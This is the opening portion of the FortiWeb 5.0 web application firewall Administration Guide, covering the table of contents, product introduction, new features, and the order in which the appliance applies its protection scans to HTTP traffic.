



WEB APPLICATION FIREWALL

FortiWeb™ 5.0

Administration Guide

Courtney Schwartz

Contributors:

George Csaba

Martin Duijm

Patricia Siertsema

Idan Soen

Shiji Li

Qin Lu

Atsunobu Shiiya

Hao Xu

Shiqiang Xu

Masami Yamakawa

Forrest Zhang



FortiWeb 5.0 Administration Guide

August 14, 2013

4th Edition

Copyright© 2013 Fortinet, Inc. All rights reserved. Fortinet®, FortiGate®, and FortiGuard® are registered trademarks of Fortinet, Inc., and other Fortinet names herein may also be trademarks of Fortinet. All other product or company names may be trademarks of their respective owners. Performance metrics contained herein were attained in internal lab tests under ideal conditions, and performance may vary. Network variables, different network environments and other conditions may affect performance results. Nothing herein represents any binding commitment by Fortinet, and Fortinet disclaims all warranties, whether express or implied, except to the extent Fortinet enters a binding written contract, signed by Fortinet's General Counsel, with a purchaser that expressly warrants that the identified product will perform according to the performance metrics herein. For absolute clarity, any such warranty will be limited to performance in the same ideal conditions as in Fortinet's internal lab tests. Fortinet disclaims in full any guarantees. Fortinet reserves the right to change, modify, transfer, or otherwise revise this publication without notice, and the most current version of the publication shall be applicable.

Technical Documentation	http://help.fortinet.com
Knowledge Base	http://kb.fortinet.com
Forums	https://support.fortinet.com/forum
Customer Service & Support	https://support.fortinet.com
Training	http://training.fortinet.com
FortiGuard Threat Research & Response	http://www.fortiguard.com
License	http://www.fortinet.com/doc/legal/EULA.pdf
Document Feedback	Email: techdocs@fortinet.com

Table of contents

Introduction.....	13
Benefits	13
Architecture	14
Scope.....	14
What's new.....	16
Documentation enhancements.....	19
Key concepts	20
Workflow	20
Sequence of scans	21
Solutions for specific web attacks.....	25
HTTP/HTTPS threats	25
DoS attacks	30
HTTP pipelining	32
HTTP sessions & security	32
FortiWeb sessions vs. web application sessions	36
Sessions & FortiWeb HA.....	37
Example: Magento & FortiWeb sessions during failover	37
HA heartbeat & synchronization	39
Data that is not synchronized by HA	40
Configuration settings that are not synchronized by HA	41
How HA chooses the active appliance	42
How to use the web UI	44
System requirements.....	44
URL for access	44
Workflow	45
Permissions.....	46
Trusted hosts	50
Maximum concurrent administrator sessions.....	50
Global web UI & CLI settings.....	50
Buttons, menus, & the displays	54
Deleting entries	56
Renaming entries	57
Shutdown.....	57
How to set up your FortiWeb.....	59
Appliance vs. VMware	59
Registering your FortiWeb	59

Planning the network topology	60
How to choose the operation mode	60
Supported features in each operation mode	61
Matching topology with operation mode & HA mode.....	62
Topology for reverse proxy mode.....	62
Topology for either of the transparent modes	64
Topology for offline protection mode	65
Topologies for high availability (HA) clustering	67
Connecting to the web UI or CLI	69
Connecting to the web UI	70
Connecting to the CLI.....	72
Updating the firmware	75
Testing new firmware before installing it	75
Installing firmware	77
Updating firmware on an HA pair.....	81
Installing alternate firmware	82
Bootting from the alternate partition	85
Changing the “admin” account password.....	88
Setting the system time & date.....	89
Setting the operation mode	92
Configuring a high availability (HA) FortiWeb cluster.....	95
Replicating the configuration without FortiWeb HA (external HA)	105
Configuring the network settings.....	109
Network interface or bridge?	109
Configuring the network interfaces.....	111
Adding VLAN subinterfaces	115
Link aggregation	118
Configuring a bridge (V-zone)	120
Adding a gateway	123
Configuring DNS settings	128
Connecting to FortiGuard services.....	132
Choosing the virus signature database & decompression buffer.....	136
Accessing FortiGuard via a web proxy	138
How often does Fortinet provide FortiGuard updates for FortiWeb?	138
Scheduling automatic signature updates	139
Manually initiating update requests	142
Uploading signature & geography-to-IP updates	144
Configuring basic policies	146
Example 1: Configuring a policy for HTTP via auto-learning	146
Example 2: Configuring a policy for HTTPS	147
Example 3: Configuring a policy for load balancing	148

Auto-learning	149
How to adapt auto-learning to dynamic URLs & unusual parameters	149
Configuring URL interpreters	150
Example: URL interpreter for a JSP application	154
Example: URL interpreter for Microsoft Outlook Web App.....	154
Example: URL interpreter for WordPress.....	158
Grouping URL interpreters.....	163
Recognizing data types	164
Predefined data types.....	164
Grouping predefined data types	168
Recognizing suspicious requests	169
Predefined suspicious request URLs.....	170
Configuring custom suspicious request URLs	171
Grouping custom suspicious request URLs	172
Grouping all suspicious request URLs.....	173
Configuring an auto-learning profile	175
Running auto-learning.....	178
Pausing auto-learning for a URL.....	179
Viewing auto-learning reports.....	180
Using the report navigation pane.....	181
Using the report display pane.....	184
Overview tab	184
Attacks tab	186
About the attack count.....	189
Visits tab.....	189
Parameters tab.....	192
Cookies tab	193
Generating a profile from auto-learning data.....	194
Transitioning out of the auto-learning phase	197
Removing old auto-learning data.....	198
Testing your installation	199
Reducing false positives	200
Testing for vulnerabilities & exposure	201
Expanding the initial configuration.....	201
Switching out of offline protection mode.....	203
Backups.....	204
Restoring a previous configuration.....	208
Administrators	210
Configuring access profiles	213
Grouping remote authentication queries for administrators.....	214
Changing an administrator's password.....	215

Users.....	217
Authentication styles.....	217
Via the “Authorization:” header in the HTTP/HTTPS protocol.....	217
Via forms embedded in the HTML.....	218
Via a personal certificate.....	220
Offloading HTTP authentication & authorization	221
Configuring local end-user accounts.....	223
Configuring queries for remote end-user accounts.....	224
Configuring LDAP queries.....	224
Configuring RADIUS queries.....	228
Configuring NTLM queries.....	230
Grouping users	231
Applying user groups to an authorization realm	233
Grouping authorization rules.....	235
Example: Enforcing complex passwords	237
Defining your web servers & load balancers	238
Protected web servers vs. protected host names.....	238
Defining your protected or allowed HTTP “Host:” header names.....	239
Defining your web servers	241
Defining your web server by its IP address	241
Defining your web server by its DNS domain name	243
Configuring server up/down checks.....	244
Grouping your web servers into server farms.....	246
Routing based upon URL or “Host:” name.....	252
Example: Routing according to URL/path	255
Example: Routing according to the HTTP “Host:” field	255
Defining your proxies, clients, & X-headers.....	256
Blocking the attacker’s IP, not your load balancer.....	257
Configuring virtual servers on your FortiWeb	262
Defining your network services.....	264
Defining custom services.....	264
Predefined services	265
Enabling or disabling traffic forwarding to your servers	265
Secure connections (SSL/TLS)	267
Offloading vs. inspection	267
Supported cipher suites & protocol versions	269
Uploading trusted CAs’ certificates.....	270
Grouping trusted CAs’ certificates	272

How to offload or inspect HTTPS	273
Generating a certificate signing request	275
Uploading a server certificate	279
Supplementing a server certificate with its signing chain.....	281
Grouping certificates for intermediate CAs.....	282
How to apply PKI client authentication (personal certificates)	283
Example: Generating & downloading a personal certificate from Microsoft Windows 2003 Server	287
Example: Downloading the CA's certificate from Microsoft Windows 2003 Server	296
Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7	297
Uploading the CA's certificate to FortiWeb's trusted CA store	305
Configuring FortiWeb to validate client certificates	306
Revoking certificates	308
Revoking certificates by OCSP query.....	309
How to export/back up certificates & private keys.....	310
Access control.....	311
Restricting access to specific URLs	311
Grouping access rules per combination of URL & "Host:"	314
Combination access control & rate limiting	315
Blacklisting & whitelisting clients	319
Blacklisting source IPs with poor reputation	319
Blacklisting countries & regions.....	321
Blacklisting & whitelisting clients individually by source IP	325
Blacklisting content scrapers, search engines, web crawlers, & other robots	327
Rate limiting	328
DoS prevention	328
Configuring application-layer DoS protection	328
Limiting the total HTTP request rate from an IP	329
Example: HTTP request rate limit per IP.....	334
Limiting TCP connections per IP address by session cookie.....	334
Example: TCP connection per session limit	337
Preventing an HTTP request flood.....	337
Example: HTTP request flood prevention	341
Configuring network-layer DoS protection	341
Limiting TCP connections per IP address	341
Example: TCP flood prevention	344
Preventing a TCP SYN flood.....	344
Grouping DoS protection rules	345
Preventing automated requests.....	347
Example: Preventing email directory harvesting.....	350
Configuring browser enforcement exceptions.....	351

Preventing brute force logins.....	352
Rewriting & redirecting	357
Example: HTTP-to-HTTPS redirect	363
Example: Full host name/URL translation	366
Example: Sanitizing poisoned HTML.....	370
Example: Inserting & deleting body text.....	372
Example: Rewriting URLs using regular expressions.....	373
Example: Rewriting URLs using variables	374
Grouping rewriting & redirection rules	375
Blocking known attacks & data leaks	377
Configuring exceptions to data leak & attack detection signatures	388
Defining custom data leak & attack signatures	391
Example: ASP .Net version & other multiple server detail leaks.....	396
Example: Zero-day XSS.....	397
Example: Local file inclusion fingerprinting via Joomla	399
Enforcing page order that follows application logic	401
Specifying URLs allowed to initiate sessions	405
Preventing zero-day attacks	411
Configuring parameter validation (input rules).....	411
Defining custom data types	417
Grouping input rules	418
Preventing tampering with hidden inputs	420
Grouping input rules for hidden inputs	425
Specifying allowed HTTP methods.....	426
Configuring allowed method exceptions	428
HTTP/HTTPS protocol constraints	430
Configuring HTTP protocol constraint exceptions	435
Limiting file uploads	440
Grouping file upload restrictions.....	441
Compression & decompression.....	445
Configuring compression/decompression exemptions.....	445
Configuring compression offloading.....	446
Configuring decompression to enable scanning & rewriting	449
Policies	452
How operation mode affects server policy behavior	452
Configuring the global object white list	453
Uploading a custom error page.....	454
Configuring a protection profile for inline topologies.....	456
Configuring a protection profile for an out-of-band topology or asynchronous mode	

of operation	464
Configuring a server policy	470
Enabling or disabling a policy	483
Anti-defacement	485
Reverting a defaced web site	490
Compliance	491
Database security	491
Authorization	491
Preventing data leaks	491
Vulnerability scans	492
Preparing for the vulnerability scan	493
Live web sites	493
Network accessibility	493
Traffic load & scheduling.....	493
Scheduling web vulnerability scans.....	494
Configuring vulnerability scan settings	495
Running vulnerability scans	500
Manually starting & stopping a vulnerability scan.....	502
Viewing vulnerability scan reports	503
Scan report contents	503
Downloading vulnerability scan reports.....	504
Advanced/optional system settings	506
Changing the FortiWeb appliance's host name.....	506
Fail-to-wire for power loss/reboots	507
Advanced settings	508
Example: Setting a separate rate limit for shared Internet connections	510
Remaining diligent.....	512
The dashboard.....	512
System Information widget	515
FortiGuard Information widget.....	517
CLI Console widget.....	521
System Resources widget	523
Attack Log Console widget.....	523
Real Time Monitor widget	524
Event Log Console widget	525
Server Status widget.....	525
Policy Sessions widget	527
Operation widget	527
RAID level & disk statuses	528

Logging	529
About logs & logging.....	529
Log types	530
Log severity levels.....	531
Log rate limits	531
Configuring logging.....	532
Enabling log types, packet payload retention, & resource shortage alerts	533
Configuring log destinations	536
Obscuring sensitive data in the logs.....	539
Configuring Syslog settings	541
Configuring FortiAnalyzer policies	542
Configuring triggers	544
Viewing log messages	544
Viewing a single log message as a table	549
Viewing packet payloads	550
Switching between Raw & Formatted log views.....	551
Displaying & arranging log columns.....	553
Filtering log messages	554
Downloading log messages.....	556
Deleting log files.....	558
Coalescing similar attack log messages.....	559
Searching attack logs	560
Alert email	563
Configuring email settings	563
Configuring alert email for event logs	565
SNMP traps & queries	567
Configuring an SNMP community	568
MIB support	572
Reports	572
Customizing the report's headers, footers, & logo	575
Restricting the report's scope	576
Choosing the type & format of a report profile	578
Scheduling reports.....	581
Selecting the report's file type & email delivery	581
Viewing & downloading generated reports	583
Data analytics	584
Configuring policies to gather data.....	584
Updating data analytics definitions.....	584
Viewing web site statistics	585
Filtering the data analytics report.....	589
Monitoring currently blocked IPs.....	591
FortiGuard updates.....	592
Vulnerability scans	592

Fine-tuning & best practices	593
Hardening security.....	593
Topology	593
Administrator access	594
User access	596
Signatures & patches.....	597
Buffer hardening	597
Enforcing valid, applicable HTTP.....	599
Sanitizing HTML application inputs	599
Improving performance	599
System performance.....	599
Antivirus performance.....	600
Regular expression performance tips.....	600
Logging performance.....	602
Report performance.....	603
Auto-learning performance	604
Vulnerability scan performance	608
Packet capture performance	608
Improving fault tolerance	608
Alerting the SNMP manager when HA switches the primary appliance.....	609
Reducing false positives	609
Regular backups.....	613
Downloading logs in RAM before shutdown or reboot	614
Troubleshooting	615
Tools	615
Ping & traceroute	615
Log messages.....	616
Diff.....	617
Packet capture.....	618
Diagnostic commands in the CLI.....	623
How to troubleshoot	623
Establishing a system baseline.....	623
Determining the source of the problem	624
Planning & access privileges	625

Solutions by issue type.....	625
Connectivity issues	626
Checking hardware connections	626
Examining the ARP table	627
Checking routing.....	627
Testing for connectivity with ping	629
Testing routes & latency with traceroute	633
Examining the routing table	636
Checking port assignments	637
Performing a packet trace.....	637
Debugging the packet processing flow	638
Checking the SSL/TLS handshake & encryption.....	638
Resource issues.....	639
Killing system-intensive processes	639
Monitoring traffic load	639
Preparing for attacks.....	639
Login issues	640
Checking user authentication policies	640
When an administrator account cannot log in from a specific IP	641
Remote authentication query failures	641
Resetting passwords	641
Data storage issues	642
Bootup issues	643
Hard disk corruption or failure	643
Power supply failure.....	645
Resetting the configuration.....	647
Restoring firmware (“clean install”).....	648
Appendix A: Port numbers.....	651
Appendix B: Maximum configuration values	654
Maximum values on FortiWeb-VM	655
Appendix C: Supported RFCs, W3C, & IEEE standards.....	656
RFCs	656
W3C standards	656
IEEE standards	657
Appendix D: Regular expressions.....	658
Regular expression syntax.....	658
What are back-references?	663
Cookbook regular expressions.....	665
Language support.....	666
Index	668

Introduction

Welcome, and thank you for selecting Fortinet products for your network.

FortiWeb hardware and FortiWeb-VM virtual appliance models are available that are suitable for medium and large enterprises, as well as service providers.

Benefits

FortiWeb is designed specifically to protect web servers.

FortiWeb web application firewalls (WAF) provide specialized application layer threat detection and protection for HTTP or HTTPS services such as:

- Apache Tomcat
- nginx
- Microsoft IIS
- JBoss
- IBM Lotus Domino
- Microsoft SharePoint
- Microsoft Outlook Web App (OWA)
- RPC and ActiveSync for Microsoft Exchange Server
- Joomla
- WordPress
- and many others

FortiWeb's integrated web-specific vulnerability scanner can drastically reduce challenges associated with protecting regulated and confidential data by detecting your exposure to the latest threats, especially the [OWASP Top 10](#).

In addition, FortiWeb's HTTP firewall and denial-of-service (DoS) attack-prevention protect your Internet-facing web-based applications from attack and data theft. Using advanced techniques to provide bidirectional protection against sophisticated threats like SQL injection and cross-site scripting (XSS), FortiWeb helps you prevent identity theft, financial fraud, and corporate espionage. FortiWeb delivers the technology you need to monitor and enforce government regulations, industry best practices, and internal security policies, including firewalling and patching requirements from [PCI DSS](#).

FortiWeb's application-aware firewalling and load balancing engine can:


- Secure HTTP applications that are often gateways into valuable databases
- Prevent and reverse defacement
- Improve application stability
- Monitor servers for downtime & connection load
- Reduces response times
- Accelerate SSL/TLS *
- Accelerate compression/decompression
- Rewrite content on the fly

* On VM models, acceleration is due to offloading the cryptography burden from the back-end server. On hardware models, cryptography is also hardware-accelerated via ASIC chips.

FortiWeb significantly reduces deployment costs by consolidating WAF, hardware acceleration, load balancing, and vulnerability scanning into a single device with no per-user pricing. Those features drastically reduce the time required to protect your regulated, Internet-facing data and eases the challenges associated with policy enforcement and regulatory compliance.

Architecture

Figure 1: Basic topology



FortiWeb can be deployed in a one-arm topology, but is more commonly positioned inline to intercept all incoming clients' connections and redistribute them to your servers. FortiWeb has TCP- and HTTP-specific firewalling capability. Because it is not designed to provide security to non-HTTP applications, it should be deployed behind a firewall such as FortiGate that focuses on security for other protocols that may be forwarded to your back-end servers, such as FTP and SSH.

Once the appliance is deployed, you can configure FortiWeb via its web UI and CLI, from a web browser and terminal emulator on your management computer.

Scope

This document describes how to set up your FortiWeb appliance. For both the hardware and virtual appliance versions of FortiWeb, it describes how to complete first-time system deployment, including planning the network topology.

It also describes how to use the web user interface (web UI), and contains lists of default utilized port numbers, configuration limits, and supported standards.

This document assumes, if you have installed the virtual appliance version (FortiWeb-VM), that you have already followed the instructions in the [FortiWeb-VM Install Guide](#).

After completing [“How to set up your FortiWeb” on page 59](#):

- You will have administrative access to the web UI and/or CLI.
- You will have completed firmware updates, if any.
- The system time, DNS settings, administrator password, and network interfaces will be configured.
- You will have set the operation mode.
- You will have configured basic logging.
- You will have created at least one server policy.
- You may have completed at least one phase of auto-learning to jump-start your configuration.

Once that basic installation is complete, you can use the rest of this document to use the web UI to:

- Update the FortiWeb appliance.
- Reconfigure features.
- Use advanced features, such as anti-defacement.
- Diagnose problems.

This document does **not** provide a reference for the command line interface (CLI). For that information, see the [FortiWeb CLI Reference](#).

This document is intended for administrators, not end users. If you are accessing a web site protected by FortiWeb, please contact your system administrator.

What's new

The list below contains features new or changed since FortiWeb 4.0 MR3 Patch 7. For upgrade information, see the Release Notes available with the firmware and [“Updating the firmware” on page 75](#).

FortiWeb 5.0



Back up **all** parts of the configuration and data before updating the firmware to FortiWeb 5.0. Some backup types do not include the full configuration. For full backup instructions, see [“Backups” on page 204](#).

FortiWeb 5.0 configuration files are **not** compatible with previous firmware versions. Many fundamental changes have been made to its configuration file structure. If you later decide to downgrade to FortiWeb 4.4.7 or earlier, your FortiWeb appliance will lose its configuration. To restore the configuration, you will need a backup that is compatible with the older firmware.

- **FortiWeb 3000D, 3000DFsx, and 4000D support** — All three models support SSL/TLS acceleration with CP8 ASIC chips and have bypass/fail-to-wire port pairs. For hardware details, see your model's QuickStart Guide and [“Fail-to-wire for power loss/reboots” on page 507](#). For specifications of maximum supported objects, see [“Appendix B: Maximum configuration values” on page 654](#).
- **Password recovery** — If you have forgotten the password, but have physical access to your FortiWeb, you can now reset the password for the `admin` administrator account. See [“Resetting passwords” on page 641](#).
- **IPv6 support** — If FortiWeb is operating in reverse proxy mode, the following features now support IPv6-to-IPv6 forwarding, as well as NAT64, to support environments where legacy back-end equipment only supports IPv4.
 - [IP/Netmask](#) for all types of network interfaces, DNS settings, and [Gateway](#) and [Destination IP/Mask](#) for IP-layer static routes
 - [Virtual Server/V-zone](#)
 - [Physical Server/Domain Server/Server Farm](#)
 - [Server Health Check](#)
 - [Protected Servers](#)
 - [Session Management](#)
 - [Cookie Poisoning Detection](#)
 - [Signatures](#)
 - [Custom Access](#)
 - [Parameter Validation](#)
 - [Hidden Fields Protection](#)
 - [File Upload Restriction](#)
 - [HTTP Protocol Constraints](#)
 - [Brute Force Login](#)
 - [URL Access](#)
 - [Page Access](#) (page order)
 - [Start Pages](#)

- [Allow Method](#)
- [IP List](#) (manual, individual IP blacklisting/whitelisting)
- [File Compress/File Uncompress](#)
- Auto-learning
- Vulnerability scans
- Global white list objects
- Chunk decoding
- FortiGuard server IP overrides

These are **not** yet supported:



If a policy has **any** virtual servers, server farms, physical servers, or domain servers with IPv6 addresses, it will **not** apply these features, even if they are selected.

- [X-Forwarded-For](#)
- [Shared IP](#)
- Policy bypasses for known search engines
- [Geo IP](#)
- [DoS Protection](#)
- [IP Reputation](#)
- [URL Rewriting](#) (also redirection)
- [HTTP Authentication](#) and LDAP, RADIUS, and NTLM profiles
- [Data Analytics](#)
- Log-based reports
- Alert email
- Syslog and FortiAnalyzer IP addresses
- NTP
- FTP immediate/scheduled
- OCSP/SCEP
- Anti-defacement
- HA/Config. sync
- `exec restore`
- `exec backup`
- `exec traceroute`
- `exec telnet`
- **Challenge action for application-level anti-DoS** — Rather than simply blocking all clients that exceed your rate limit or trigger other DoS sensors, you can now choose to test the client first — to return a web page that uses a script to assess whether the client is a web browser or an automated tool favored by attackers. In this way, you can allow higher rate limits for people than automated tools. See [“Limiting the total HTTP request rate from an IP” on page 329](#) and [“Preventing an HTTP request flood” on page 337](#).
- **Search engine access improved** — You can now allow known search engines such as Google, Yahoo!, Baidu and Bing to be exempt from DoS sensors, brute force login sensors, HTTP protocol constraints, and combination rate & access control (called “advanced protection” and “custom policies” in the web UI). See [Allow Known Search Engines](#) in

[“Configuring a protection profile for inline topologies” on page 456](#) or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#).

- **Robot control simplified** — Control of known malicious automated tools has been simplified, and custom robot definitions removed. See [Bad Robot](#) in [“Blocking known attacks & data leaks” on page 377](#).
- **Dynamic rate threshold in Real Time Monitor widget** — The Policy Summary widget has been renamed, and now scales its graph dynamically to best show you differences based upon your normal levels of traffic. See [“Real Time Monitor widget” on page 524](#).
- **Seamless FortiWeb-VM vCPU license upgrades**— Now you can increase the capacity of FortiWeb-VM to 2, 4, or 8 vCPUs without first invalidating the license. Previously, a new license could be uploaded only while the current license was invalid, thereby temporarily interrupting service. See the [FortiWeb-VM Install Guide](#).
- **HTTP pipelining support** — For clients that support HTTP 1.1, HTTP pipelining can now be used to accelerate transactions by bundling them in the same TCP connection, and by not waiting for a response before sending/receiving the next request. This can increase performance when pages containing many images, scripts, and other auxiliary files are all hosted on the same domain, and therefore could use the same connection. Only GET and HEAD methods are supported. Clients must include the `Connection: keep-alive` HTTP header and use HTTP 1.1 (**not** 1.0) in order to trigger FortiWeb to allow pipelined requests and send pipelined responses. This feature is supported only when FortiWeb is operating in reverse proxy or true transparent proxy mode. See [“HTTP pipelining” on page 32](#).
- **Maximum physical servers increased** — FortiWeb now supports up to 255 physical servers. Previously only 128 were possible. See [“Defining your web server by its IP address” on page 241](#).
- **Maximum input validation rules increased** — FortiWeb now supports up to 1,024 parameters in the URL validation rule. See [“Configuring parameter validation \(input rules\)” on page 411](#).
- **Erasure without alerts** — A very high volume of attack logs, alert email, and that can be generated while blocking information disclosure when many protected web servers are misconfigured. To prevent this and allow you to focus on severe attacks, you can now choose to erase server information such as X-Powered-By: **without** generating any log messages. See [Action](#) in [“Blocking known attacks & data leaks” on page 377](#).
- **Support for subnets in URL access rules & manual blacklists/whitelists**— When specifying which source IP addresses are allowed to access your web apps, you can now specify multiple IP addresses by entering a subnet, rather than creating many individual rules. See [“Restricting access to specific URLs” on page 311](#) and [“Blacklisting & whitelisting clients individually by source IP” on page 325](#).
- **RADIUS realm support**— RADIUS accounts on servers that require the realm (e.g. `admin@example.com` or `user@example.com`) are now supported. No change to the FortiWeb configuration is required for end-user accounts. For administrators, modify the [Administrator](#) setting to include the realm name (e.g. `@example.com`).
- **Fail-to-wire during reboot/shutdown**— Previously, fail-to-wire only engaged during unexpected power loss, without a graceful shutdown. See [“Fail-to-wire for power loss/reboots” on page 507](#).
- **Threshold for shared IPs configurable** — Previously, shared IP analysis was not configurable. See [“Shared IP” on page 509](#).
- **Reports like FortiGate 5.0** — Reports have been updated, and now reflect the same styles also found in FortiGate 5.0 firewalls. See [“Reports” on page 572](#).
- **Debugging commands on HA standby** — You can now use the active FortiWeb HA appliance’s CLI to send `diagnose debug` commands through the HA link to the standby. Previously, you could only connect to standby appliances through the local console, or by

triggering a failover so that the standby became active — network connectivity was only possible with the active appliance. See the [FortiWeb CLI Reference](#).

- **XML protection profiles removed** — For protection against XML-related attacks, customers should now use the *Illegal XML Format* setting (see “[Configuring a protection profile for inline topologies](#)” on page 456 or “[Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)” on page 464). Legacy configuration data related to XML protection profiles from FortiWeb 4.0 MR4 Patch 6 or previous versions of the firmware will be deleted during upgrade.



If your back-end web servers require extensive protection for a vulnerable XML parser, you should add 3rd-party XML protection to your security architecture. Unlike XML protection profiles in previous versions of FortiWeb, *Illegal XML Format* does **not** scan for conformity with the document object model (DOM)/DTD/W3C Schema, recursive payloads, Schema poisoning, or other advanced XML attacks. ***Failure to provide adequate XML protection could allow attackers to penetrate your network.***

- **Static routes moved** — It is now located under the *System > Network* menu. See “[Adding a gateway](#)” on page 123.
- **FortiGuard updates moved** — It is now located under the *System > Config* menu, similar to FortiGate 5.0. Configuration of the antivirus database has also moved. See “[Choosing the virus signature database & decompression buffer](#)” on page 136.
- **LDAP, RADIUS, NTLM profiles moved** — They are now located under the new *User > Remote Server* menu to make obvious the dichotomy versus local authentication. See “[Grouping remote authentication queries for administrators](#)” on page 214 and “[Configuring queries for remote end-user accounts](#)” on page 224.
- **Anti-defacement moved** — It is now located under the *Web Protection* menu. See “[Anti-defacement](#)” on page 485.

Documentation enhancements

Nested configuration items’ instructions(e.g. rules within policies within other policies) are now consolidated within the same section where possible. See “[Preventing zero-day attacks](#)” on page 411 and others.

Key concepts

This chapter defines basic FortiWeb concepts and terms.

If you are new to FortiWeb, or new to security, this chapter can help you to quickly understand.

See also

- [Appliance vs. VMware](#)

Workflow


Begin with [“How to set up your FortiWeb” on page 59](#) for your initial deployment. These instructions will guide you to the point where you have a simple, verifiably working installation.

Ongoing use is located in the chapters after “How to set up your FortiWeb”. Once you have successfully deployed, ongoing use involves:

- Backups
- Updates
- Configuring optional features
- Adjusting policies if:
 - New attack signatures become available
 - Requirements change
- Fine-tuning performance
- Periodic web vulnerability scans if required by your compliance regime
- Monitoring for defacement or focused, innovative attack attempts from advanced persistent threats (APTs)
- Monitoring for accidentally blacklisted client IPs
- Using data analytics to show traffic patterns

Except for features independent of policies such as anti-defacement, most features are configured **before** policies. Policies link protection components together and apply them. As such, policies usually should be configured last, not first.

Workflow: FortiWeb's Configuration Prerequisites



Sequence of scans

FortiWeb appliances apply protection rules and perform protection profile scans in the following order of execution, which varies by whether you have applied a web protection profile. To understand the scan sequence, read from the top of the table (the first scan/action) towards the bottom (the last scan/action). Disabled scans are skipped.



To improve performance, block attackers using the earliest possible technique in the execution sequence and/or the least memory-consuming technique.



The blocking style varies by feature and configuration. For example, when detecting cookie poisoning, instead of resetting the TCP connection or blocking the HTTP request, you could log and remove the offending cookie. For details, see each specific feature.

Table 1: Execution sequence (web protection profile)

Scan/action	Involves
<i>Request from client to server</i>	
<i>TCP Connection Number Limit</i> (TCP Flood Prevention)	Source IP address of the client (depending on your configuration of X-header rules (see “ Defining your proxies, clients, & X-headers ” on page 256) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or X-Real-IP:)

Table 1: Execution sequence (web protection profile)

Scan/action	Involves
<i>Block Period</i>	Source IP address of the client (depending on your configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 256) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or X-Real-IP:)
<i>IP List *</i> (individual client IP black list or white list)	Source IP address of the client in the IP layer
<i>Add X-Forwarded-For:</i> <i>Add X-Real-IP:</i>	Source IP address of the client in the HTTP layer
<i>IP Reputation</i>	Source IP address of the client (depending on your configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 256) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or X-Real-IP:)
<i>Allow Known Search Engines</i>	Source IP address of the client in the IP layer
<i>Geo IP</i>	Source IP address of the client in the IP layer
<i>Host</i> (allowed/protected host name)	Host:
<i>Allow Method</i>	• Host: • URL in HTTP header • Request method in HTTP header
<i>HTTP Request Limit/sec</i>	• Cookie: • Session state • Responses from the JavaScript browser tests, if any
<i>Session Management</i>	• Cookie: • Session state
<i>TCP Connection Number Limit</i> (Malicious IP)	Source IP address of the client (depending on your configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 256) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or X-Real-IP:)
<i>HTTP Request Limit/sec</i> (HTTP Flood Prevention)	• Cookie: • Session state • URL in the HTTP header

Table 1: Execution sequence (web protection profile)

Scan/action	Involves
HTTP Request Limit/sec (Standalone IP) or HTTP Request Limit/sec (Shared IP) (HTTP Access Limit)	- ID field of the IP header - Source IP address of the client (depending on your configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 256) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or X-Real-IP:)
HTTP Authentication	Authorization:
Global White List	- Cookie: cookiesession1 - URL if /favicon.ico, AJAX URL parameters such as __LASTFOCUS, and others as updated by the FortiGuard Security Service
URL Access	- Host: - URL in HTTP header - Source IP of the client in the IP header
Brute Force Login	- Source IP address of the client (depending on your configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 256) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or X-Real-IP:) - URL in the HTTP header
HTTP Protocol Constraints	- Content-Length: - Parameter length - Body length - Header length - Header line length - Count of Range: header lines - Count of cookies
Cookie Poisoning Detection	Cookie:
Start Pages	- Host: - URL in HTTP header - Session state
Page Access (page order)	- Host: - URL in HTTP header - Session state
File Upload Restriction	- Content-Length: - Content-Type: in PUT and POST requests

Table 1: Execution sequence (web protection profile)

Scan/action	Involves
<i>Trojans</i>	HTTP body
<i>Bad Robot</i>	User-Agent :
<i>Parameter Validation</i>	• Host : • URL in the HTTP header • Name, data type, and length of <input> tags except <input type="hidden">
<i>Cross Site Scripting, SQL Injection, Generic Attacks</i> (attack signatures)	• Cookie: • Parameters in the URL in the HTTP header, or in the HTTP body (depending on the HTTP method) for <input> tags except <input type="hidden"> • XML content in the HTTP body (if <i>Enable XML Protocol Detection</i> is enabled)
<i>Hidden Fields Protection</i>	• Host : • URL in the HTTP header • Name, data type, and length of <input type="hidden">
<i>X-Forwarded-For</i>	X-Forwarded-For : in HTTP header
<i>URL Rewriting</i> (rewriting & redirects)	• Host : • Referer : • Location : • URL in HTTP header • HTTP body
<i>Auto-learning</i>	Any of the other features included by the auto-learning profile
<i>Data Analytics</i>	• Source IP address of the client • URL in the HTTP header • Results from other scans
<i>Client Certificate Forwarding</i>	Client's personal certificate, if any, supplied during the SSL/TLS handshake
Reply from server to client	
<i>Information Disclosure</i>	Server-identifying custom HTTP headers such as Server : and X-Powered-By :
<i>Credit Card Detection</i>	Credit card number in the body, and, if configured, <i>Credit Card Detection Threshold</i>
<i>File Uncompress</i>	Content-Encoding :

Table 1: Execution sequence (web protection profile)

Scan/action	Involves
<i>URL Rewriting</i> (rewriting)	• Host: • Referer: • Location: • URL in HTTP header • HTTP body
<i>File Compress</i>	Accept-Encoding:

* If a source IP is white listed, subsequent checks will be skipped.

Solutions for specific web attacks

The types of attacks that web servers are vulnerable to are varied, and evolve as attackers try new strategies.

FortiWeb appliances offer numerous configurable features for preventing web-related attacks, including denial-of-service (DoS) assaults, brute-force logins, data theft, and more.



Early in your deployment of FortiWeb, configure and run web vulnerability scans to detect the most common attack vulnerabilities. You can use this to discover attacks that you may be vulnerable to. For more information, see [“Vulnerability scans” on page 492](#).

HTTP/HTTPS threats

Servers are increasingly being targeted by exploits at the application layer or higher. These attacks use HTTP/HTTPS and aim to compromise the target web server, either to steal information, deface it, or to post malicious files on a trusted site to further exploit visitors to the site, using the web server to create botnets.

Among its many threat management features, FortiWeb’s fends off attacks that use cross-site scripting, state-based, and various injection attacks. This helps you comply with protection standards for:

- credit-card data, such as PCI DSS 6.6
